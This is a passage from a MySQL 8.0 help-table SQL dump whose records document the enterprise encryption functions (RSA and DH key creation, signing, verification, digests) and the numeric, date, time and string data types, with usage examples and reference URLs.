create_asymmetric_priv_key(\'RSA\', 2048);\nSET @pub = create_asymmetric_pub_key(\'RSA\', @priv);\n\n-- Encrypt using public key, decrypt using private key\nSET @ciphertext = asymmetric_encrypt(\'RSA\', \'The quick brown fox\', @pub);\nSET @plaintext = asymmetric_decrypt(\'RSA\', @ciphertext, @priv);\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(6,'ASYMMETRIC_SIGN',5,'Syntax:\nasymmetric_sign(algorithm, text, priv_key_str, digest_type)\n\nSigns a digest string or data string using a private key, and returns\nthe signature as a binary string. If signing fails, the result is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\ntext is a data string or digest string. The function accepts digests\nbut does not require them, as it is also capable of handling data\nstrings of an arbitrary length. A digest string can be generated by\ncalling create_digest().\n\npriv_key_str is the private key string to use for signing the digest\nstring. It must be a valid PEM encoded RSA private key.\n\ndigest_type is the algorithm to be used to sign the data. The supported\ndigest_type values are \'SHA224\', \'SHA256\', \'SHA384\', and \'SHA512\' when\nOpenSSL 1.0.1 is in use. If OpenSSL 1.1.1 is in use, the additional\ndigest_type values \'SHA3-224\', \'SHA3-256\', \'SHA3-384\', and \'SHA3-512\'\nare available.\n\nFor a usage example, see the description of asymmetric_verify().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(7,'ASYMMETRIC_VERIFY',5,'Syntax:\nasymmetric_verify(algorithm, text, sig_str, pub_key_str, digest_type)\n\nVerifies whether the signature string matches the digest string, and\nreturns 1 or 0 to indicate whether verification succeeded or failed. If\nverification fails, the result is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nBy default, the component_enterprise_encryption function assumes that\nsignatures use the RSASSA-PSS signature scheme. The function supports\nverification for signatures produced by the legacy openssl_udf shared\nlibrary functions if the system variable\nenterprise_encryption.rsa_support_legacy_padding is set to ON (the\ndefault is OFF). When ON is set, the function also supports the\nRSASSA-PKCS1-v1_5 signature scheme, as used by the legacy openssl_udf\nshared library functions. When OFF is set, signatures produced by the\nlegacy functions cannot be verified, and the function returns null\noutput for such content.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\ntext is a data string or digest string. The component function accepts\ndigests but does not require them, as it is also capable of handling\ndata strings of an arbitrary length. A digest string can be generated\nby calling create_digest().\n\nsig_str is the signature string to be verified. A signature string can\nbe generated by calling asymmetric_sign().\n\npub_key_str is the public key string of the signer. It corresponds to\nthe private key passed to asymmetric_sign() to generate the signature\nstring. It must be a valid PEM encoded RSA public key.\n\ndigest_type is the algorithm that was used to sign the data. The\nsupported digest_type values are \'SHA224\', \'SHA256\', \'SHA384\', and\n\'SHA512\' when OpenSSL 1.0.1 is in use. If OpenSSL 1.1.1 is in use, the\nadditional digest_type values \'SHA3-224\', \'SHA3-256\', \'SHA3-384\', and\n\'SHA3-512\' are available.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','-- Set the encryption algorithm and digest type\nSET @algo = \'RSA\';\nSET @dig_type = \'SHA512\';\n\n-- Create private/public key pair\nSET @priv = create_asymmetric_priv_key(@algo, 2048);\nSET @pub = create_asymmetric_pub_key(@algo, @priv);\n\n-- Generate digest from string\nSET @dig = create_digest(@dig_type, \'The quick brown fox\');\n\n-- Generate signature for digest and verify signature against digest\nSET @sig = asymmetric_sign(@algo, @dig, @priv, @dig_type);\nSET @verf = asymmetric_verify(@algo, @dig, @sig, @pub, @dig_type);\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(8,'CREATE_ASYMMETRIC_PRIV_KEY',5,'Syntax:\ncreate_asymmetric_priv_key(algorithm, key_length)\n\nCreates a private key using the given algorithm and key length, and\nreturns the key as a binary string in PEM format. The key is in PKCS #8\nformat. If key generation fails, the result is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\nkey_length is the key length in bits. If you exceed the maximum allowed\nkey length or specify less than the minimum, key generation fails and\nthe result is null output. The minimum allowed key length in bits is\n2048. The maximum allowed key length is the value of the\nenterprise_encryption.maximum_rsa_key_size system variable, which\ndefaults to 4096. It has a maximum setting of 16384, which is the\nmaximum key length allowed for the RSA algorithm. See\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-configuri\nng.html.\n\n*Note*:\n\nGenerating longer keys can consume significant CPU resources. Limiting\nthe key length using the enterprise_encryption.maximum_rsa_key_size\nsystem variable lets you provide adequate security for your\nrequirements while balancing this with resource usage.\n\nThis example creates a 2048-bit RSA private key, then derives a public\nkey from the private key:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','SET @priv = create_asymmetric_priv_key(\'RSA\', 2048);\nSET @pub = create_asymmetric_pub_key(\'RSA\', @priv);\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(9,'CREATE_ASYMMETRIC_PUB_KEY',5,'Syntax:\ncreate_asymmetric_pub_key(algorithm, priv_key_str)\n\nDerives a public key from the given private key using the given\nalgorithm, and returns the key as a binary string in PEM format. The\nkey is in PKCS #8 format. If key derivation fails, the result is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nalgorithm is the encryption algorithm used to create the key. The\nsupported algorithm value is \'RSA\'.\n\npriv_key_str is a valid PEM encoded RSA private key.\n\nFor a usage example, see the description of\ncreate_asymmetric_priv_key().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(10,'CREATE_DIGEST',5,'Syntax:\ncreate_digest(digest_type, str)\n\nCreates a digest from the given string using the given digest type, and\nreturns the digest as a binary string. If digest generation fails, the\nresult is NULL.\n\nFor the legacy version of this function in use before MySQL 8.0.29, see\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions\n-legacy.html.\n\nThe resulting digest string is suitable for use with asymmetric_sign()\nand asymmetric_verify(). The component versions of these functions\naccept digests but do not require them, as they are capable of handling\ndata of an arbitrary length.\n\ndigest_type is the digest algorithm to be used to generate the digest\nstring. The supported digest_type values are \'SHA224\', \'SHA256\',\n\'SHA384\', and \'SHA512\' when OpenSSL 1.0.1 is in use. If OpenSSL 1.1.1\nis in use, the additional digest_type values \'SHA3-224\', \'SHA3-256\',\n\'SHA3-384\', and \'SHA3-512\' are available.\n\nstr is the non-null data string for which the digest is to be\ngenerated.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html\n\n','SET @dig = create_digest(\'SHA512\', \'The quick brown fox\');\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions.html'),(11,'ASYMMETRIC_DERIVE',5,'Syntax:\nasymmetric_derive(pub_key_str, priv_key_str)\n\nDerives a symmetric key using the private key of one party and the\npublic key of another, and returns the resulting key as a binary\nstring. If key derivation fails, the result is NULL.\n\npub_key_str and priv_key_str are valid PEM encoded key strings that\nwere created using the DH algorithm.\n\nSuppose that you have two pairs of public and private keys:\n\nSET @dhp = create_dh_parameters(1024);\nSET @priv1 = create_asymmetric_priv_key(\'DH\', @dhp);\nSET @pub1 = create_asymmetric_pub_key(\'DH\', @priv1);\nSET @priv2 = create_asymmetric_priv_key(\'DH\', @dhp);\nSET @pub2 = create_asymmetric_pub_key(\'DH\', @priv2);\n\nSuppose further that you use the private key from one pair and the\npublic key from the other pair to create a symmetric key string. Then\nthis symmetric key identity relationship holds:\n\nasymmetric_derive(@pub1, @priv2) = asymmetric_derive(@pub2, @priv1)\n\nThis example requires DH private/public keys as inputs, created using a\nshared symmetric secret. Create the secret by passing the key length to\ncreate_dh_parameters(), then pass the secret as the \"key length\" to\ncreate_asymmetric_priv_key().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions-legacy.html\n\n','-- Generate DH shared symmetric secret\nSET @dhp = create_dh_parameters(1024);\n-- Generate DH key pairs\nSET @algo = \'DH\';\nSET @priv1 = create_asymmetric_priv_key(@algo, @dhp);\nSET @pub1 = create_asymmetric_pub_key(@algo, @priv1);\nSET @priv2 = create_asymmetric_priv_key(@algo, @dhp);\nSET @pub2 = create_asymmetric_pub_key(@algo, @priv2);\n\n-- Generate symmetric key using public key of first party,\n-- private key of second party\nSET @sym1 = asymmetric_derive(@pub1, @priv2);\n\n-- Or use public key of second party, private key of first party\nSET @sym2 = asymmetric_derive(@pub2, @priv1);\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions-legacy.html'),(12,'CREATE_DH_PARAMETERS',5,'create_dh_parameters(key_len)\n\nCreates a shared secret for generating a DH private/public key pair and\nreturns a binary string that can be passed to\ncreate_asymmetric_priv_key(). If secret generation fails, the result is\nNULL.\n\nkey_len is the key length. The minimum and maximum key lengths in bits\nare 1,024 and 10,000. These key-length limits are constraints imposed\nby OpenSSL. Server administrators can impose additional limits on\nmaximum key length by setting the MYSQL_OPENSSL_UDF_RSA_BITS_THRESHOLD,\nMYSQL_OPENSSL_UDF_DSA_BITS_THRESHOLD, and\nMYSQL_OPENSSL_UDF_DH_BITS_THRESHOLD environment variables. See\nhttps://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-configuri\nng.html.\n\nFor an example showing how to use the return value for generating\nsymmetric keys, see the description of asymmetric_derive().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions-legacy.html\n\n','SET @dhp = create_dh_parameters(1024);\n','https://dev.mysql.com/doc/refman/8.0/en/enterprise-encryption-functions-legacy.html'),(13,'TRUE',6,'The constants TRUE and FALSE evaluate to 1 and 0, respectively. The\nconstant names can be written in any lettercase.\n\nmysql> SELECT TRUE, true, FALSE, false;\n -> 1, 1, 0, 0\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/boolean-literals.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/boolean-literals.html'),(14,'FALSE',6,'The constants TRUE and FALSE evaluate to 1 and 0, respectively. The\nconstant names can be written in any lettercase.\n\nmysql> SELECT TRUE, true, FALSE, false;\n -> 1, 1, 0, 0\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/boolean-literals.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/boolean-literals.html'),(15,'BIT',2,'BIT[(M)]\n\nA bit-value type. M indicates the number of bits per value, from 1 to\n64. The default is 1 if M is omitted.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(16,'TINYINT',2,'TINYINT[(M)] [UNSIGNED] [ZEROFILL]\n\nA very small integer. The signed range is -128 to 127. The unsigned\nrange is 0 to 255.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(17,'BOOLEAN',2,'BOOL, BOOLEAN\n\nThese types are synonyms for TINYINT(1). A value of zero is considered\nfalse. Nonzero values are considered true:\n\nmysql> SELECT IF(0, \'true\', \'false\');\n+------------------------+\n| IF(0, \'true\', \'false\') |\n+------------------------+\n| false |\n+------------------------+\n\nmysql> SELECT IF(1, \'true\', \'false\');\n+------------------------+\n| IF(1, \'true\', \'false\') |\n+------------------------+\n| true |\n+------------------------+\n\nmysql> SELECT IF(2, \'true\', \'false\');\n+------------------------+\n| IF(2, \'true\', \'false\') |\n+------------------------+\n| true |\n+------------------------+\n\nHowever, the values TRUE and FALSE are merely aliases for 1 and 0,\nrespectively, as shown here:\n\nmysql> SELECT IF(0 = FALSE, \'true\', \'false\');\n+--------------------------------+\n| IF(0 = FALSE, \'true\', \'false\') |\n+--------------------------------+\n| true |\n+--------------------------------+\n\nmysql> SELECT IF(1 = TRUE, \'true\', \'false\');\n+-------------------------------+\n| IF(1 = TRUE, \'true\', \'false\') |\n+-------------------------------+\n| true |\n+-------------------------------+\n\nmysql> SELECT IF(2 = TRUE, \'true\', \'false\');\n+-------------------------------+\n| IF(2 = TRUE, \'true\', \'false\') |\n+-------------------------------+\n| false |\n+-------------------------------+\n\nmysql> SELECT IF(2 = FALSE, \'true\', \'false\');\n+--------------------------------+\n| IF(2 = FALSE, \'true\', \'false\') |\n+--------------------------------+\n| false |\n+--------------------------------+\n\nThe last two statements display the results shown because 2 is equal to\nneither 1 nor 0.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(18,'SMALLINT',2,'SMALLINT[(M)] [UNSIGNED] [ZEROFILL]\n\nA small integer. The signed range is -32768 to 32767. The unsigned\nrange is 0 to 65535.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(19,'MEDIUMINT',2,'MEDIUMINT[(M)] [UNSIGNED] [ZEROFILL]\n\nA medium-sized integer. The signed range is -8388608 to 8388607. The\nunsigned range is 0 to 16777215.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(20,'INT',2,'INT[(M)] [UNSIGNED] [ZEROFILL]\n\nA normal-size integer. The signed range is -2147483648 to 2147483647.\nThe unsigned range is 0 to 4294967295.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(21,'INTEGER',2,'INTEGER[(M)] [UNSIGNED] [ZEROFILL]\n\nThis type is a synonym for INT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(22,'BIGINT',2,'BIGINT[(M)] [UNSIGNED] [ZEROFILL]\n\nA large integer. The signed range is -9223372036854775808 to\n9223372036854775807. The unsigned range is 0 to 18446744073709551615.\n\nSERIAL is an alias for BIGINT UNSIGNED NOT NULL AUTO_INCREMENT UNIQUE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(23,'DECIMAL',2,'DECIMAL[(M[,D])] [UNSIGNED] [ZEROFILL]\n\nA packed \"exact\" fixed-point number. M is the total number of digits\n(the precision) and D is the number of digits after the decimal point\n(the scale). The decimal point and (for negative numbers) the - sign\nare not counted in M. If D is 0, values have no decimal point or\nfractional part. The maximum number of digits (M) for DECIMAL is 65.\nThe maximum number of supported decimals (D) is 30. If D is omitted,\nthe default is 0. If M is omitted, the default is 10. (There is also a\nlimit on how long the text of DECIMAL literals can be; see\nhttps://dev.mysql.com/doc/refman/8.0/en/precision-math-expressions.html\n.)\n\nUNSIGNED, if specified, disallows negative values. As of MySQL 8.0.17,\nthe UNSIGNED attribute is deprecated for columns of type DECIMAL (and\nany synonyms); you should expect support for it to be removed in a\nfuture version of MySQL. Consider using a simple CHECK constraint\ninstead for such columns.\n\nAll basic calculations (+, -, *, /) with DECIMAL columns are done with\na precision of 65 digits.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(24,'DEC',2,'DEC[(M[,D])] [UNSIGNED] [ZEROFILL], NUMERIC[(M[,D])] [UNSIGNED]\n[ZEROFILL], FIXED[(M[,D])] [UNSIGNED] [ZEROFILL]\n\nThese types are synonyms for DECIMAL. The FIXED synonym is available\nfor compatibility with other database systems.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(25,'FLOAT',2,'FLOAT[(M,D)] [UNSIGNED] [ZEROFILL]\n\nA small (single-precision) floating-point number. Permissible values\nare -3.402823466E+38 to -1.175494351E-38, 0, and 1.175494351E-38 to\n3.402823466E+38. These are the theoretical limits, based on the IEEE\nstandard. The actual range might be slightly smaller depending on your\nhardware or operating system.\n\nM is the total number of digits and D is the number of digits following\nthe decimal point. If M and D are omitted, values are stored to the\nlimits permitted by the hardware. A single-precision floating-point\nnumber is accurate to approximately 7 decimal places.\n\nFLOAT(M,D) is a nonstandard MySQL extension. As of MySQL 8.0.17, this\nsyntax is deprecated, and you should expect support for it to be\nremoved in a future version of MySQL.\n\nUNSIGNED, if specified, disallows negative values. As of MySQL 8.0.17,\nthe UNSIGNED attribute is deprecated for columns of type FLOAT (and any\nsynonyms) and you should expect support for it to be removed in a\nfuture version of MySQL. Consider using a simple CHECK constraint\ninstead for such columns.\n\nUsing FLOAT might give you some unexpected problems because all\ncalculations in MySQL are done with double precision. See\nhttps://dev.mysql.com/doc/refman/8.0/en/no-matching-rows.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(26,'DOUBLE',2,'DOUBLE[(M,D)] [UNSIGNED] [ZEROFILL]\n\nA normal-size (double-precision) floating-point number. Permissible\nvalues are -1.7976931348623157E+308 to -2.2250738585072014E-308, 0, and\n2.2250738585072014E-308 to 1.7976931348623157E+308. These are the\ntheoretical limits, based on the IEEE standard. The actual range might\nbe slightly smaller depending on your hardware or operating system.\n\nM is the total number of digits and D is the number of digits following\nthe decimal point. If M and D are omitted, values are stored to the\nlimits permitted by the hardware. A double-precision floating-point\nnumber is accurate to approximately 15 decimal places.\n\nDOUBLE(M,D) is a nonstandard MySQL extension. As of MySQL 8.0.17, this\nsyntax is deprecated and you should expect support for it to be removed\nin a future version of MySQL.\n\nUNSIGNED, if specified, disallows negative values. As of MySQL 8.0.17,\nthe UNSIGNED attribute is deprecated for columns of type DOUBLE (and\nany synonyms) and you should expect support for it to be removed in a\nfuture version of MySQL. Consider using a simple CHECK constraint\ninstead for such columns.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(27,'DOUBLE PRECISION',2,'DOUBLE PRECISION[(M,D)] [UNSIGNED] [ZEROFILL], REAL[(M,D)] [UNSIGNED]\n[ZEROFILL]\n\nThese types are synonyms for DOUBLE. Exception: If the REAL_AS_FLOAT\nSQL mode is enabled, REAL is a synonym for FLOAT rather than DOUBLE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/numeric-type-syntax.html'),(28,'DATE',2,'DATE\n\nA date. The supported range is \'1000-01-01\' to \'9999-12-31\'. MySQL\ndisplays DATE values in \'YYYY-MM-DD\' format, but permits assignment of\nvalues to DATE columns using either strings or numbers.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html'),(29,'DATETIME',2,'DATETIME[(fsp)]\n\nA date and time combination. The supported range is \'1000-01-01\n00:00:00.000000\' to \'9999-12-31 23:59:59.499999\'. MySQL displays\nDATETIME values in \'YYYY-MM-DD hh:mm:ss[.fraction]\' format, but permits\nassignment of values to DATETIME columns using either strings or\nnumbers.\n\nAn optional fsp value in the range from 0 to 6 may be given to specify\nfractional seconds precision. A value of 0 signifies that there is no\nfractional part. If omitted, the default precision is 0.\n\nAutomatic initialization and updating to the current date and time for\nDATETIME columns can be specified using DEFAULT and ON UPDATE column\ndefinition clauses, as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/timestamp-initialization.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html'),(30,'TIMESTAMP',2,'TIMESTAMP[(fsp)]\n\nA timestamp. The range is \'1970-01-01 00:00:01.000000\' UTC to\n\'2038-01-19 03:14:07.499999\' UTC. TIMESTAMP values are stored as the\nnumber of seconds since the epoch (\'1970-01-01 00:00:00\' UTC). A\nTIMESTAMP cannot represent the value \'1970-01-01 00:00:00\' because that\nis equivalent to 0 seconds from the epoch and the value 0 is reserved\nfor representing \'0000-00-00 00:00:00\', the \"zero\" TIMESTAMP value.\n\nAn optional fsp value in the range from 0 to 6 may be given to specify\nfractional seconds precision. A value of 0 signifies that there is no\nfractional part. If omitted, the default precision is 0.\n\nThe way the server handles TIMESTAMP definitions depends on the value\nof the explicit_defaults_for_timestamp system variable (see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html).\n\nIf explicit_defaults_for_timestamp is enabled, there is no automatic\nassignment of the DEFAULT CURRENT_TIMESTAMP or ON UPDATE\nCURRENT_TIMESTAMP attributes to any TIMESTAMP column. They must be\nincluded explicitly in the column definition. Also, any TIMESTAMP not\nexplicitly declared as NOT NULL permits NULL values.\n\nIf explicit_defaults_for_timestamp is disabled, the server handles\nTIMESTAMP as follows:\n\nUnless specified otherwise, the first TIMESTAMP column in a table is\ndefined to be automatically set to the date and time of the most recent\nmodification if not explicitly assigned a value. This makes TIMESTAMP\nuseful for recording the timestamp of an INSERT or UPDATE operation.\nYou can also set any TIMESTAMP column to the current date and time by\nassigning it a NULL value, unless it has been defined with the NULL\nattribute to permit NULL values.\n\nAutomatic initialization and updating to the current date and time can\nbe specified using DEFAULT CURRENT_TIMESTAMP and ON UPDATE\nCURRENT_TIMESTAMP column definition clauses. By default, the first\nTIMESTAMP column has these properties, as previously noted. However,\nany TIMESTAMP column in a table can be defined to have these\nproperties.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html'),(31,'TIME',2,'TIME[(fsp)]\n\nA time. The range is \'-838:59:59.000000\' to \'838:59:59.000000\'. MySQL\ndisplays TIME values in \'hh:mm:ss[.fraction]\' format, but permits\nassignment of values to TIME columns using either strings or numbers.\n\nAn optional fsp value in the range from 0 to 6 may be given to specify\nfractional seconds precision. A value of 0 signifies that there is no\nfractional part. If omitted, the default precision is 0.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html'),(32,'YEAR DATA TYPE',2,'YEAR[(4)]\n\nA year in 4-digit format. MySQL displays YEAR values in YYYY format,\nbut permits assignment of values to YEAR columns using either strings\nor numbers. Values display as 1901 to 2155, or 0000.\n\nFor additional information about YEAR display format and interpretation\nof input values, see https://dev.mysql.com/doc/refman/8.0/en/year.html.\n\n*Note*:\n\nAs of MySQL 8.0.19, the YEAR(4) data type with an explicit display\nwidth is deprecated; you should expect support for it to be removed in\na future version of MySQL. Instead, use YEAR without a display width,\nwhich has the same meaning.\n\nMySQL 8.0 does not support the 2-digit YEAR(2) data type permitted in\nolder versions of MySQL. For instructions on converting to 4-digit\nYEAR, see 2-Digit YEAR(2) Limitations and Migrating to 4-Digit YEAR\n(https://dev.mysql.com/doc/refman/5.7/en/migrating-from-year2.html), in\nMySQL 5.7 Reference Manual (https://dev.mysql.com/doc/refman/5.7/en/).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-type-syntax.html'),(33,'CHAR',2,'[NATIONAL] CHAR[(M)] [CHARACTER SET charset_name] [COLLATE\ncollation_name]\n\nA fixed-length string that is always right-padded with spaces to the\nspecified length when stored. M represents the column length in\ncharacters. The range of M is 0 to 255. If M is omitted, the length is\n1.\n\n*Note*:\n\nTrailing spaces are removed when CHAR values are retrieved unless the\nPAD_CHAR_TO_FULL_LENGTH SQL mode is enabled.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(34,'CHAR BYTE',2,'The CHAR BYTE data type is an alias for the BINARY data type. This is a\ncompatibility feature.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(35,'VARCHAR',2,'[NATIONAL] VARCHAR(M) [CHARACTER SET charset_name] [COLLATE\ncollation_name]\n\nA variable-length string. M represents the maximum column length in\ncharacters. The range of M is 0 to 65,535. The effective maximum length\nof a VARCHAR is subject to the maximum row size (65,535 bytes, which is\nshared among all columns) and the character set used. For example,\nutf8mb3 characters can require up to three bytes per character, so a\nVARCHAR column that uses the utf8mb3 character set can be declared to\nbe a maximum of 21,844 characters. See\nhttps://dev.mysql.com/doc/refman/8.0/en/column-count-limit.html.\n\nMySQL stores VARCHAR values as a 1-byte or 2-byte length prefix plus\ndata. The length prefix indicates the number of bytes in the value. A\nVARCHAR column uses one length byte if values require no more than 255\nbytes, two length bytes if values may require more than 255 bytes.\n\n*Note*:\n\nMySQL follows the standard SQL specification, and does not remove\ntrailing spaces from VARCHAR values.\n\nVARCHAR is shorthand for CHARACTER VARYING. NATIONAL VARCHAR is the\nstandard SQL way to define that a VARCHAR column should use some\npredefined character set. MySQL uses utf8mb3 as this predefined\ncharacter set.\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-national.html. NVARCHAR\nis shorthand for NATIONAL VARCHAR.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(36,'BINARY',2,'BINARY[(M)]\n\nThe BINARY type is similar to the CHAR type, but stores binary byte\nstrings rather than nonbinary character strings. An optional length M\nrepresents the column length in bytes. If omitted, M defaults to 1.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(37,'VARBINARY',2,'VARBINARY(M)\n\nThe VARBINARY type is similar to the VARCHAR type, but stores binary\nbyte strings rather than nonbinary character strings. M represents the\nmaximum column length in bytes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(38,'TINYBLOB',2,'TINYBLOB\n\nA BLOB column with a maximum length of 255 (28 − 1) bytes. Each\nTINYBLOB value is stored using a 1-byte length prefix that indicates\nthe number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(39,'TINYTEXT',2,'TINYTEXT [CHARACTER SET charset_name] [COLLATE collation_name]\n\nA TEXT column with a maximum length of 255 (28 − 1) characters. The\neffective maximum length is less if the value contains multibyte\ncharacters. Each TINYTEXT value is stored using a 1-byte length prefix\nthat indicates the number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(40,'BLOB',2,'BLOB[(M)]\n\nA BLOB column with a maximum length of 65,535 (216 − 1) bytes. Each\nBLOB value is stored using a 2-byte length prefix that indicates the\nnumber of bytes in the value.\n\nAn optional length M can be given for this type. If this is done, MySQL\ncreates the column as the smallest BLOB type large enough to hold\nvalues M bytes long.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(41,'TEXT',2,'TEXT[(M)] [CHARACTER SET charset_name] [COLLATE collation_name]\n\nA TEXT column with a maximum length of 65,535 (216 − 1) characters.\nThe effective maximum length is less if the value contains multibyte\ncharacters. Each TEXT value is stored using a 2-byte length prefix that\nindicates the number of bytes in the value.\n\nAn optional length M can be given for this type. If this is done, MySQL\ncreates the column as the smallest TEXT type large enough to hold\nvalues M characters long.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(42,'MEDIUMBLOB',2,'MEDIUMBLOB\n\nA BLOB column with a maximum length of 16,777,215 (224 − 1) bytes.\nEach MEDIUMBLOB value is stored using a 3-byte length prefix that\nindicates the number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(43,'MEDIUMTEXT',2,'MEDIUMTEXT [CHARACTER SET charset_name] [COLLATE collation_name]\n\nA TEXT column with a maximum length of 16,777,215 (224 − 1)\ncharacters. The effective maximum length is less if the value contains\nmultibyte characters. Each MEDIUMTEXT value is stored using a 3-byte\nlength prefix that indicates the number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(44,'LONGBLOB',2,'LONGBLOB\n\nA BLOB column with a maximum length of 4,294,967,295 or 4GB (232 − 1)\nbytes. The effective maximum length of LONGBLOB columns depends on the\nconfigured maximum packet size in the client/server 